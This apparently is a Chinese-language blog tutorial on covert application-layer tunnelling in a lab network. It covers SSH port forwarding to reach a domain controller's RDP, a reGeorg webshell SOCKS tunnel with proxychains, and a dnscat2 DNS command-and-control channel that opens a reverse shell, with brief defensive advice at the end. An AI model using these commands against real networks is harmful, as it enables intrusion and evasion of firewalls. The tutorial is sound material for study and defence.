0%

隐藏通信隧道技术之 应用层

应用层中的隧道技术主要利用软件提供的端口来发送数据,常用的隧道协议有 SSH、HTTP/HTTPS 和 DNS

0x01 SSH协议

 在内网中,几乎所有的linux/unix服务器和网络设备都支持SSH协议。在一般情况下,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其它网络建立的隧道。攻击者通过ssh端口隧道突破防火墙后可以建立一些之前无法建立的TCP连接。
 一个普通的SSH命令如下:

1
ssh root@192.168.1.1

参见命令选项如下:

1
2
3
4
5
6
7
8
9
常见命令如下:
-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D: 动态转发(socks代理)
-P:指定SSH端口

其实不论是-L 还是 -R 他们的标准格式都是ssh -g -L/-R 转发到的ip:转发到的端口:目标ip:目标端口 前面的转发到的ip可以省略,-L 默认就是主机,-R 默认就是ssh连接的主机且只有主机本机可以连接如127.0.0.1这种地址(直接ip加端口无效,外部就无法直接使用这个隧道了)

1、本地转发

实验环境:

1
2
3
4
攻击主机 vps(kali):192.168.152.152
内网:
web服务器win7: 外网ip(192.168.152.7)内网ip(1.1.1.7)
域控服务器winserve2012:1.1.1.3
  1. 首先我们给win7、winserve安装一个openssh,会自动开启22端口。
  2. 随后给winserve开启远程桌面服务
  3. 在kali中使用如下命令:
    1
    ssh -CfNg -L 1222:1.1.1.3:3389 win7@192.168.152.7
  4. 随后会要我们输入win7的密码,过后我们会发现kali在监听自己的1222端口了。
  5. 我们使用rdesktop 去开启我们的远程桌面rdesktop 0.0.0.0:1222

我们来分析一下kali中执行的命令:

1
2
3
4
5
6
7
8
ssh -CfNg -L 1222(vps监听端口):1.1.1.3(目标ip):3389(目标端口) win7@192.168.152.7
-C 是压缩传输,提搞速度
-f 将ssh传输转入后台,不占用当前shell
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
以web服务器192.168.152.7为跳板,将1.1.1.3的3398映射到vps的1222端口
就是说我们访问本地的1222端口,会通过ssh隧道发送给目标主机指定端口。

简单说说-L -R -D

  1. -L:就是在本地启动端口,把本地端口数据转发到远端。如上面例子,把本地端口转发给1.1.1.3:3389
  2. -R:让远端启动端口,把远端端口数据转发到本地。(待实践)
  3. - D: 如在 HostA 的本地 1080 端口启动一个 socks5 服务,通过本地 socks5 代理的数据会通过 ssh 链接先发送给 HostB,再从 HostB 转发送给远程主机:
    1
    HostA$ ssh -D localhost:1080  HostB

那么在 HostA 上面,浏览器配置 socks5 代理为 127.0.0.1:1080,看网页时就能把数据通过 HostB 代理出去,类似 ss/ssr 版本,只不过用 ssh 来实现。
【参考链接】

2、远程转发

其实这里就是使用我们上面提到的 -R参数。还是上面的环境,这次我们利用远程转发来实现。
 我们的1.1.1.3(winserve2012)是可以访问kali的,我们利用这一点让目标主机winserve主动去连接kali。(应用程序的客户端和 SSH 的服务器位于 SSH 隧道的同一侧,而应用程序的服务器和 SSH 的客户端位于 SSH 隧道的另一侧。使用的是远程转发)
我们在winserve中使用如下命令:

1
2
3
ssh -gR 3307:1.1.1.3:3389 mayi@192.168.152.152
意为,将1.1.1.3主机的3389转发到 192.168.152.152的3307端口。
当然这里的1.1.1.3也可以为任何1.1.1.3可以访问的到的主机。

这里我只用了 -gR 也可以像之前那样加 -CfNg

 本地转发是将远程主机的某个端口数据转发到本地机器的指定端口。而远程转发则是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh隧道传输到本地端口。

3、动态转发

也就是我们前面提到的 -D 参数。
如我们在kali中使用如下命令:

1
2
ssh -CfNg -D 8888 win7@192.168.152.7
它会把我们访问本机8888端口的数据转发给192.168.152.7所在主机然后防护

随后我们设置浏览器代理走本机的8888端口,它就会相当于在win7中访问的数据,我们利用这一点访问1.1.1.1 防火墙管理界面。

4、预防SSH隧道攻击的思路

在系统中配置SSH中配置远程管理白名单,在ACL(访问控制列表)中限制只有特定的IP地址才能连接SSH

0x02 HTTP/HTTPS 协议

 通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。
 适用于内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。

 推荐Neo-reGeorg、reGeorg、abptts 三款工具。

接下来我们使用regeorg做实验:【下载地址】

  1. 用centos做一个边界web服务器(外ip:192.168.152.150 内ip:1.1.1.100),然后我们将tunnel.nosocket.php上传到网站根目录。
  2. 在kali中访问http://192.168.152.150/tunnel.nosocket.php
  3. 我们在kali中使用命令
    1
    python reGeorgSocksProxy.py -u http://192.168.152.150/tunnel.nosocket.php -p 5555
    来开启连接代理配置。
  4. 使用netstat -antlp | grep '5555' 发现已经开始监听了。
  5. 接着我们在kali中使用 proxychains代理
    1
    vim /etc/proxychains.conf
    修改为如下:
    保存后直接使用如:proxychains nmap 1.1.1.1得到如下效果

0x03 DNS协议

 DNS协议是一种请求/应答协议,也是一种可以用于应用层的隧道技术。我们知道,一方面在网络世界中DNS是一种不可或缺的服务,而另一方面DNS本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,这也为DNS成为隐蔽通信创造了条件。

1、查看DNS的连通性

 首先我们需要知道当前服务器是否允许通过内部DNS解析外部域名,也就是测试DNS的连通性。

  1. 查看当前内部存在的域名及ip
    1
    cat /etc/resolv.conf | grep -v '^#'
  2. 查很快1 是否与内部dns通信
    1
    2
    nslookup 域名
    注意这里如果是localdomain(通过dhcp方式获得的ip,上网方式为nat就会出现这种情况)不会返回结果,我们接着下一步测试即可
  3. 查询是否可以通过内部DNS服务器解析外部域名
    1
    nslookup www.baidu.com

    可以看到,能够通过内部dns服务器解析外部域名。这就意味着我们可以使用DNS隧道实现隐蔽通信。

2、dnscat2

 dnscat2是一款开源软件,他使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份认证。dnscat2的客户端是用C语言编写的,服务端是用ruby语言编写的。严格来讲dnscat2是一个命令与控制工具。

(1)、dnscat2隧道的两种模式
  1. 直连模式:客户端直接向指定ip地址的dns服务器发起dns解析请求。
  2. 中继模式:dns经过互联网的迭代解析,最后指向我们的DNS服务器。与直连模式相比,中继模式的速度较慢。

 如果目标内网放行所有的DNS请求,那么dnscat2会自动使用直连模式,在请求日志中所有的域名都是以dnscat开头,所以防火墙可以很容易将直连模式检测出来。
 如果目标内网对DNS有限制,我们可以使用dnscat2的中继模式,他会使用中继模式申请一个域名,并将允许dnscat2服务端的服务器指定为受信任的DNS服务器。

(2)、dnscat2服务端的安装

我们在vps服务器上安装dnscat2,因为是用ruby写的所以需要我们有ruby的允许环境,还需要gem依赖包。

  1. 准备工作,安装ruby、gem等
    1
    2
    3
    4
    apt install gem
    apt install ruby-dev
    apt install libpq-dev
    apt install ruby-bundler
  2. 具体的安装,最新版dnscat2 需要 ruby >= 2.3.0
    1
    2
    3
    4
    $ git clone https://github.com/iagox86/dnscat2.git
    $ cd dnscat2/server/
    $ gem install bundler
    $ bundle install
(3)、服务端的安装
Linux服务端安装
1
2
3
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
window服务端安装

注意:自己编译只能用VS 2008或者我们直接去release下载:【下载地址】

直连模式

 直连模式是客户端直接向指定的ip地址dns服务器发起dns解析请求,所有我们还可以不需要自己申请域名。

服务端运行
  1. 我们在vps上(自己的虚拟kali)运行

    1
    ruby dnscat2.rb --dns host=0.0.0.0,port=53531 --secret=qwer1234

  2. 我们在客户机中执行

    1
    ./dnscat --dns server=192.168.152.152,port=53531 --secret=qwer1234

    回显看到session被建立的字样,表示连接成功。

  3. 其实,我们在服务端监听的时候可以不设置--secret只要对应的客服端连接时也不加即可。

中继模式

 直连模式虽然快,但是容易被发现和拦截,因为它所有的域名都是以dnscat2开头。所以我们就可以用到我们的中继模(本人无)。
 首先域名服务器需要添加一个A记录,将域名指向一个ip。然后还需要一个NS记录,将子域名指定其他DNS服务器解析。

服务端
1
2
3
sudo ruby./dnscat2.rb abc.com --secret=123456
还有一种模式:
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache
客户端
1
dnscat --secret=123456 abc.com

具体的我也没实践,毕竟没有dns域名。

使用

 作为一款C&C工具,在Client端连接上了以后,可以通过Server端执行一些命令对Client进行控制。
 DNSCAT使用window这个概念来标识不同的client,在服务端使用windows命令可以列举当前已连接上来的客户端。(当然session也还是可以列出的)

1
2
3
4
5
dnscat2> session
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = [*]
1 :: command (localhost.localdomain) [encrypted, NOT verified] [*]

其中0是server端主控,1是我们刚才运行连接上来的客户端。
 使用session -i id,进入到某个连接上来的client的session中,我们使用help命令,看一下dnscat支持的功能:
使用shell命令创建一个反弹shell。这个反弹shell是创建了另外一个会话,我们需要使用ctrl + z退出当前会话,然后进入对应的反弹shell会话中,或者直接 session -i id到指定的会话中去。

然后还有其它很多命令,都可以去尝试一下。如uploaddownload等。

0x04 预防DNS隧道攻击的办法

防御隧道攻击并非易事,特别是防御DNS隧道攻击。以下是常见的预防DNS隧道办法。

  1. 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的dns服务器通信。
  2. 没有人会将txt作为解析请求发送给DNS,但是dnscat2和邮件服务器/网关会这样,所以我们可以将邮件服务器/网关列入白名单然后阻止其它传入传出流量中的txt请求。
  3. 跟踪用户的DNS查询次数,如果达到阈值就生成相应报告。

-------------本文结束感谢您的阅读-------------